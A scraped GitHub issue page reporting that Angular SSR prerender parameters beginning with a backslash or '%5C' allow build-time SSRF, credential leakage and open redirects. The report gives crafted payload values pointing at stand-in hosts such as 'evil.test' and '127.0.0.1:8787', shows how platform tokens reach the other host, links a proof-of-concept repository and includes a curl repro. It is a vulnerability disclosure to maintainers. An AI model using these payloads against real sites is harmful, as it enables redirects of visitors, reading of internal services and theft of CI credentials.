René's URL Explorer Experiment


Title: Angular SSR prerender params allow build-time SSRF, credential leaks, and open redirects · Issue #34569 · angular/angular-cli · GitHub

Open Graph Title: Angular SSR prerender params allow build-time SSRF, credential leaks, and open redirects · Issue #34569 · angular/angular-cli

X Title: Angular SSR prerender params allow build-time SSRF, credential leaks, and open redirects · Issue #34569 · angular/angular-cli

Description: Command other Is this a regression? Yes, this behavior used to work in the previous version The previous version in which this bug was not present was No response Description This is the part of #34474 that escaping doesn't reach. 22.2.5...

Open Graph Description: Command other Is this a regression? Yes, this behavior used to work in the previous version The previous version in which this bug was not present was No response Description This is the part of #3...

X Description: Command other Is this a regression? Yes, this behavior used to work in the previous version The previous version in which this bug was not present was No response Description This is the part of #3...

Opengraph URL: https://github.com/angular/angular-cli/issues/34569

X: @github

direct link

Domain: github.com


Hey, it has json ld scripts:
{"@context":"https://schema.org","@type":"DiscussionForumPosting","headline":"Angular SSR prerender params allow build-time SSRF, credential leaks, and open redirects","articleBody":"### Command\n\nother\n\n### Is this a regression?\n\n- [ ] Yes, this behavior used to work in the previous version\n\n### The previous version in which this bug was not present was\n\n_No response_\n\n### Description\n\n\nThis is the part of #34474 that escaping doesn't reach. 22.2.5 ships both fixes from that issue, and a `getPrerenderParams()` value that starts with `\\` still leaves the application's origin twice: while `ng build` renders the page, and in the redirect it ships.\n\n`handlePrerenderParamsReplacement` only checks the type ([`ng-routes.ts#L553-L570`](https://github.com/angular/angular-cli/blob/v22.2.5/packages/angular/ssr/src/routes/ng-routes.ts#L553-L570)):\n\n```ts\nif (typeof value !== 'string') {\n  throw new Error(/* ... */);\n}\n\nreturn parameterName === '**' ? `/${value}` : value;\n```\n\nSo `\\cdn-login.test` becomes the route `/\\cdn-login.test`. As a path it looks harmless, but for `http:` the URL parser reads `\\` as `/`, so the route is `//cdn-login.test`, another host. Two places use the route as a URL:\n\n- `renderPage` builds the render request with `new Request(new URL(url, serverURL))` ([`render-worker.ts#L54`](https://github.com/angular/angular-cli/blob/v22.2.5/packages/angular/build/src/utils/server-rendering/render-worker.ts#L54)), so the page renders with that host as its origin, and every relative `HttpClient` call made during the render goes there.\n- The resolved `redirectTo` goes into the generated redirect page ([`prerender.ts#L258`](https://github.com/angular/angular-cli/blob/v22.2.5/packages/angular/build/src/utils/server-rendering/prerender.ts#L258)), or into `Location` with `outputMode: 'server'`.\n\nThose values are application data, the docs read them from a service:\n\n```ts\nconst ids = await dataService.getIds();\nreturn ids.map((id) => ({ id }));\n```\n\nSo whoever can write one row, through a public signup or as a CMS author, picks where the build connects and where visitors land. The product in the repro validates both inputs (no whitespace, no raw `\\`, no `..`) and these still pass, because `RouteTree.getPathSegments` percent-decodes each segment afterwards ([`route-tree.ts#L212-L213`](https://github.com/angular/angular-cli/blob/v22.2.5/packages/angular/ssr/src/routes/route-tree.ts#L212-L213)). One value is enough:\n\n| Value                               | Entered through               | Result                                                                                   |\n| ----------------------------------- | ----------------------------- | ---------------------------------------------------------------------------------------- |\n| `\\cdn-login.test`                   | workspace slug, public signup | `/%5Ccdn-login.test` redirects to `cdn-login.test`                                       |\n| `%5C127.0.0.2/docs/getting-started` | CMS page path                 | the build reads an internal-only service and publishes the response                      |\n| `%5C127.0.0.1:8787/%2E%2E`          | CMS page path                 | the platform credentials go to `127.0.0.1:8787`, and the site's `index.html` is replaced |\n| `%5Cevil.test/docs/getting-started` | CMS page path                 | the build sends a request to `evil.test`                                                 |\n\n`ng build` exits 0 with no warning for all of them.\n\n**1. Open redirect.** Each workspace gets a vanity URL that lands on its home page:\n\n```ts\n{ path: ':workspace', children: [\n  { path: '', pathMatch: 'full', redirectTo: 'home' },\n  { path: 'home', component: WorkspacePage },\n]},\n```\n\nWith the slug `\\cdn-login.test` the build writes this redirect page:\n\n```html\n\u003cmeta http-equiv=\"refresh\" content=\"0; url=/\\cdn-login.test/home\" />\n```\n\nIn Chrome, `http://status.statuslane.test/%5Ccdn-login.test` ends on `http://cdn-login.test/home`. The link has no `@`, no second scheme and no `//`. `escapeHtml` leaves the target as it is, since there's nothing in it to escape.\n\n**2. Reading an internal service.** Docs pages load their body in a resolver, over a relative URL:\n\n```ts\ninject(HttpClient).get(`/api/content/${path}`, { responseType: 'text' });\n```\n\nWith the page path `%5C127.0.0.2/docs/getting-started` the page renders at `http://127.0.0.2`, so the build fetches `http://127.0.0.2/api/content/docs/getting-started`, a service only the CI network can reach. Its response, database URL included, is written into the published page and into `ng-state`. The attacker never needs an inbound connection, the response comes back through the site. The tail has to name a route that exists, otherwise the build fails with `The content returned was empty.`\n\n**3. Credentials to another host.** The home page calls the internal API or/and an interceptor adds the platform token only to relative URLs, which is the usual guard:\n\n```ts\nif (!req.url.startsWith('/api/internal/')) {\n  return next(req);\n}\nreturn next(\n  req.clone({\n    setHeaders: { authorization, 'x-api-key': apiKey, cookie, 'x-ci-deploy-token': ciToken },\n  }),\n);\n```\n\nWith `%5C127.0.0.1:8787/%2E%2E` the URL is still relative when the interceptor runs and the origin is applied later, so all four headers arrive at `127.0.0.1:8787`. `%2E%2E` consumes the host segment when `posix.join` computes the output path ([`prerender.ts#L462`](https://github.com/angular/angular-cli/blob/v22.2.5/packages/angular/build/src/utils/server-rendering/prerender.ts#L462)), so the page is written over the site's own `index.html` and `dist` has no odd file name. That write races the real home page: 1 of 3 builds at 0 ms, 3 of 3 when the listener answers after 1500 ms. The credentials go out every time.\n\n**4. `allowedHosts` isn't consulted.** The app sets `security.allowedHosts: [\"localhost\"]`, none of the hosts above is on it, and the build went to all of them. A DNS name works the same. With the page path `%5Cevil.test/docs/getting-started` the page renders at `http://evil.test`, and its request only fails because `.test` doesn't resolve:\n\n```text\nevil.test/docs/getting-started/index.html\n    origin   http://evil.test\n    content  \"unavailable (Http failure response for http://evil.test/api/c)\"\n```\n\nA name the attacker owns would connect. The page gets that origin even though nothing answered, because the origin is set before any request is made. `allowedHosts` only decides which `Host` headers the running server answers. A filter on the raw value doesn't help either, since `%5C` is decoded later.\n\n### Minimal Reproduction\n\n\nRepository: https://github.com/SkyZeroZx/angular-cli-prerender-param-ssrf-poc\n\nThere the values arrive over HTTP from the application's own API, through a public signup and a CMS author token. Every host is on loopback.\n\n```bash\nnpm ci\nnpm run attack\nnpm run browser\n```\n\n```text\nbuild              exit 0, prerendered 12, warnings 0\nallowedHosts       [\"localhost\"] (angular.json)\n  P1 signup \"\\cdn-login.test\"                          accepted                     landed\n  P2 cms    \"%5C127.0.0.2/docs/getting-started\"        accepted                     landed\n  P3 cms    \"%5C127.0.0.1:8787/%2E%2E\"                 accepted                     landed\n  P4 cms    \"%5Cevil.test/docs/getting-started\"        accepted                     landed\n  [attacker] GET /api/internal/metrics  Host=127.0.0.1:8787  UA=node  (not in allowedHosts)\n  [internal] GET /api/content/docs/getting-started  Host=127.0.0.2  UA=node  (not in allowedHosts)\n```\n\nWithout the lab, one route and one value:\n\n```ts\n// app.routes.ts\nexport const routes: Routes = [\n  {\n    path: ':tenant',\n    children: [\n      { path: '', redirectTo: 'home', pathMatch: 'full' },\n      { path: 'home', component: Page },\n    ],\n  },\n  { path: '**', component: Page },\n];\n\n// app.routes.server.ts\nexport const serverRoutes: ServerRoute[] = [\n  {\n    path: ':tenant',\n    renderMode: RenderMode.Prerender,\n    getPrerenderParams: async () => [{ tenant: '\\\\evil.test' }],\n  },\n  { path: '**', renderMode: RenderMode.Client },\n];\n```\n\n```bash\nng build\nNG_ALLOWED_HOSTS=localhost PORT=4000 node dist/\u003capp>/server/server.mjs &\ncurl -s -o /dev/null -D - http://localhost:4000/%5Cevil.test | grep -i location\n```\n\n```text\nlocation: /\\evil.test/home\n```\n\nWith `--output-mode=static` the same value writes a redirect page with the same target.\n\n### Exception or Error\n\n```text\n\n```\n\n### Your Environment\n\n```text\nAngular CLI 22.2.5\n@angular/build 22.2.5\n@angular/ssr 22.2.5\n@angular/core 22.2.3\nNode.js 24.16.0\nnpm 11.13.0\nWindows 11 x64\nChrome 156\n```\n\n### Anything else relevant?\n\n_No response_","author":{"url":"https://github.com/SkyZeroZx","@type":"Person","name":"SkyZeroZx"},"datePublished":"2026-10-28T15:09:44Z","url":"https://github.com/angular/angular-cli/issues/34569"}

react-profiling0
react-import-mapreact,react-dom,react-dom/client,react-dom/profiling,react-is,react/compiler-runtime,react/jsx-dev-runtime,react/jsx-runtime,scheduler@b8488ee2c322
route-pattern/_view_fragments/issues/show/:user_id/:repository/:id/issue_layout(.:format)
route-controllervoltron_issues_fragments
route-actionissue_layout
fetch-noncev2:7d81d178-92fe-446c-cd7a-b781819c6ccc
current-catalog-service-hash81bb79d38c15960b92d99bca9288a9108c7a47b18f2423d0f6438c5b7bcd2114
request-idA1EC:4FC3E:182054:233CC0:6AFDC11F
html-safe-nonce922e40bcb1035178b4a4039e44a327f1aa6e4d5b77299d5c8a1d338707e678bf
visitor-payloadeyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJBMUVDOjRGQzNFOjE4MjA1NDoyMzNDQzA6NkFGREMxMUYiLCJ2aXNpdG9yX2lkIjoiMzQ1MTQyNTU5MDY0NTU4MzkiLCJyZWdpb25fZWRnZSI6ImlhZCIsInJlZ2lvbl9yZW5kZXIiOiJpYWQifQ==
visitor-hmac706f5dc89e10358f90a7affada840662b6b8c0fd7c22eb165dc563f65c2b3c46
hovercard-subject-tagissue:6081729387
github-keyboard-shortcutsrepository,issues,copilot
google-site-verificationApib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I
octolytics-urlhttps://collector.github.com/github/collect
analytics-location///voltron/issues_fragments/issue_layout
fb:app_id1401488693436528
apple-itunes-appapp-id=1477376905, app-argument=https://github.com/_view_fragments/issues/show/angular/angular-cli/34569/issue_layout
twitter:imagehttps://opengraph.githubassets.com/3dcba495197c4ce2e930b7e105a348b7f828e022e2fede00f15778b99d534d8b/angular/angular-cli/issues/34569
twitter:cardsummary_large_image
og:imagehttps://opengraph.githubassets.com/3dcba495197c4ce2e930b7e105a348b7f828e022e2fede00f15778b99d534d8b/angular/angular-cli/issues/34569
og:image:altCommand other Is this a regression? Yes, this behavior used to work in the previous version The previous version in which this bug was not present was No response Description This is the part of #3...
og:image:width1200
og:image:height600
og:site_nameGitHub
og:typeobject
og:author:usernameSkyZeroZx
hostnamegithub.com
expected-hostnamegithub.com
None35c6bf57da1370dc64866160540c0ee9f825f291935b3bf6ec5492b00e35f3a6
turbo-cache-controlno-preview
go-importgithub.com/angular/angular-cli git https://github.com/angular/angular-cli.git
octolytics-dimension-user_id139426
octolytics-dimension-user_loginangular
octolytics-dimension-repository_id36891867
octolytics-dimension-repository_nwoangular/angular-cli
octolytics-dimension-repository_publictrue
octolytics-dimension-repository_is_forkfalse
octolytics-dimension-repository_network_root_id36891867
octolytics-dimension-repository_network_root_nwoangular/angular-cli
turbo-body-classeslogged-out env-production page-responsive
disable-turbofalse
browser-stats-urlhttps://api.github.com/_private/browser/stats
browser-errors-urlhttps://api.github.com/_private/browser/errors
releaseab48c73a2978548773f5f24717ed9e58508befdb
ui-targetfull
theme-color#1e2327
color-schemelight dark
react-app-nameissues

Links:

Skip to contenthttps://github.com/angular/angular-cli/issues/34569#start-of-content
https://github.com/
Sign inhttps://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Fangular%2Fangular-cli%2Fissues%2F34569
GitHubRepository hosting, code review, and collaborationhttps://github.com/platform
CopilotAI coding agent for tasks, projects, and automated workhttps://github.com/features/copilot
ActionsCI/CD and automationhttps://github.com/features/actions
Code QualityQuality analysis, fixes, and enforcementhttps://github.com/features/code-quality
CodespacesCloud development environmentshttps://github.com/features/codespaces
Code SecurityVulnerability detection and remediationhttps://github.com/security/advanced-security/code-security
Secret ProtectionSecret scanning and leak preventionhttps://github.com/security/advanced-security/secret-protection
All Featureshttps://github.com/features
Documentationhttps://docs.github.com/en
Traininghttps://learn.github.com/skills
Certificationshttps://learn.github.com/credentials
Build with Copilothttps://github.com/features/ai
Customize Copilothttps://docs.github.com/en/copilot/how-tos/copilot-on-github/customize-copilot/customize-copilot-overview
Integrationshttps://github.com/marketplace
Trending reposhttps://github.com/trending
GitHub Sponsorshttps://github.com/open-source/sponsors
Developer articleshttps://github.com/resources/articles
ChangelogYour source for the latest features, improvements, and fixes across GitHub products, all in one place.https://github.blog/changelog/
Enterpriseshttps://github.com/enterprise
Teamhttps://github.com/team
Startupshttps://github.com/enterprise/startups
Nonprofitshttps://github.com/solutions/industry/nonprofits
Healthcarehttps://github.com/solutions/industry/healthcare
Financial serviceshttps://github.com/solutions/industry/financial-services
Manufacturinghttps://github.com/solutions/industry/manufacturing
Governmenthttps://github.com/solutions/industry/government
See all industrieshttps://github.com/solutions/industry
Why GitHubhttps://github.com/why-github
Customer Storieshttps://github.com/customer-stories
Business insightshttps://github.com/solutions/executive-insights
Trust Centerhttps://github.com/trust-center
GitHub Advanced SecurityEnterprise-grade code securityhttps://github.com/security/advanced-security
Copilot for businessEnterprise-grade AI featureshttps://github.com/features/copilot/copilot-business
Premium SupportEnterprise-grade 24/7 supporthttps://github.com/enterprise/premium-support
Documentationhttps://docs.github.com/en
Resource centerhttps://github.com/resources
Bloghttps://github.blog/
Events & webinarshttps://github.com/resources/events
Community Forumhttps://github.com/orgs/community/discussions
Customer Storieshttps://github.com/customer-stories
Integrationshttps://github.com/marketplace
Customer supporthttps://help.github.com/
Traininghttps://learn.github.com/skills
GitHub Statushttps://www.githubstatus.com/
Abouthttps://github.com/about
Partnershttps://github.com/partners
Changeloghttps://github.blog/changelog/
GitHub UniverseThe event for developers, by developers — talks, workshops, and what’s next for GitHub.https://githubuniverse.com/
Pricinghttps://github.com/pricing
Sign inhttps://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Fangular%2Fangular-cli%2Fissues%2F34569
Sign uphttps://github.com/signup?ref_cta=Sign+up&ref_loc=header+logged+out&ref_page=%2F%3Cuser-name%3E%2F%3Crepo-name%3E%2Fvoltron%2Fissues_fragments%2Fissue_layout&source=header-repo&source_repo=angular%2Fangular-cli
Reloadhttps://github.com/angular/angular-cli/issues/34569
Reloadhttps://github.com/angular/angular-cli/issues/34569
Reloadhttps://github.com/angular/angular-cli/issues/34569
angularhttps://github.com/angular
angular-clihttps://github.com/angular/angular-cli
Codehttps://github.com/angular/angular-cli
Issues196 (196)https://github.com/angular/angular-cli/issues
Pull requests20 (20)https://github.com/angular/angular-cli/pulls
Actionshttps://github.com/angular/angular-cli/actions
Security and quality8 (8)https://github.com/angular/angular-cli/security
Insightshttps://github.com/angular/angular-cli/insights
https://github.com/angular/angular-cli
New issuehttps://github.com/login?return_to=https://github.com/angular/angular-cli/issues/34569
New issuehttps://github.com/login?return_to=https://github.com/angular/angular-cli/issues/34569
#34570https://github.com/angular/angular-cli/pull/34570
Angular SSR prerender params allow build-time SSRF, credential leaks, and open redirectshttps://github.com/angular/angular-cli/issues/34569#top
#34570https://github.com/angular/angular-cli/pull/34570
area: @angular/ssrhttps://github.com/angular/angular-cli/issues?q=state%3Aopen%20label%3A%22area%3A%20%40angular%2Fssr%22
needsTriagehttps://github.com/angular/angular-cli/milestone/11
https://github.com/SkyZeroZx
SkyZeroZxhttps://github.com/SkyZeroZx
on Oct 28, 2026https://github.com/angular/angular-cli/issues/34569#issue-6081729387
#34474https://github.com/angular/angular-cli/issues/34474
ng-routes.ts#L553-L570https://github.com/angular/angular-cli/blob/v22.2.5/packages/angular/ssr/src/routes/ng-routes.ts#L553-L570
render-worker.ts#L54https://github.com/angular/angular-cli/blob/v22.2.5/packages/angular/build/src/utils/server-rendering/render-worker.ts#L54
prerender.ts#L258https://github.com/angular/angular-cli/blob/v22.2.5/packages/angular/build/src/utils/server-rendering/prerender.ts#L258
route-tree.ts#L212-L213https://github.com/angular/angular-cli/blob/v22.2.5/packages/angular/ssr/src/routes/route-tree.ts#L212-L213
prerender.ts#L462https://github.com/angular/angular-cli/blob/v22.2.5/packages/angular/build/src/utils/server-rendering/prerender.ts#L462
https://github.com/SkyZeroZx/angular-cli-prerender-param-ssrf-pochttps://github.com/SkyZeroZx/angular-cli-prerender-param-ssrf-poc
angular-robothttps://github.com/apps/angular-robot
area: @angular/ssrhttps://github.com/angular/angular-cli/issues?q=state%3Aopen%20label%3A%22area%3A%20%40angular%2Fssr%22
on Oct 28, 2026https://github.com/angular/angular-cli/issues/34569#event-34488751603
angular-robothttps://github.com/apps/angular-robot
needsTriagehttps://github.com/angular/angular-cli/milestone/11
on Oct 28, 2026https://github.com/angular/angular-cli/issues/34569#event-34488755224
alan-agius4https://github.com/alan-agius4
completedhttps://github.com/angular/angular-cli/issues?q=is%3Aissue%20state%3Aclosed%20archived%3Afalse%20reason%3Acompleted
#34570https://github.com/angular/angular-cli/pull/34570
on Oct 30, 2026https://github.com/angular/angular-cli/issues/34569#event-34681026600
Sign up for freehttps://github.com/signup?return_to=https://github.com/angular/angular-cli/issues/34569
Sign in to commenthttps://github.com/login?return_to=https://github.com/angular/angular-cli/issues/34569
area: @angular/ssrhttps://github.com/angular/angular-cli/issues?q=state%3Aopen%20label%3A%22area%3A%20%40angular%2Fssr%22
needsTriageNo due datehttps://github.com/angular/angular-cli/milestone/11
https://github.com
Termshttps://docs.github.com/site-policy/github-terms/github-terms-of-service
Privacyhttps://docs.github.com/site-policy/privacy-policies/github-privacy-statement
Securityhttps://github.com/security
Statushttps://www.githubstatus.com/
Communityhttps://github.community/
Docshttps://docs.github.com/
Contacthttps://support.github.com?tags=dotcom-footer

Viewport: width=device-width


URLs of crawlers that visited me.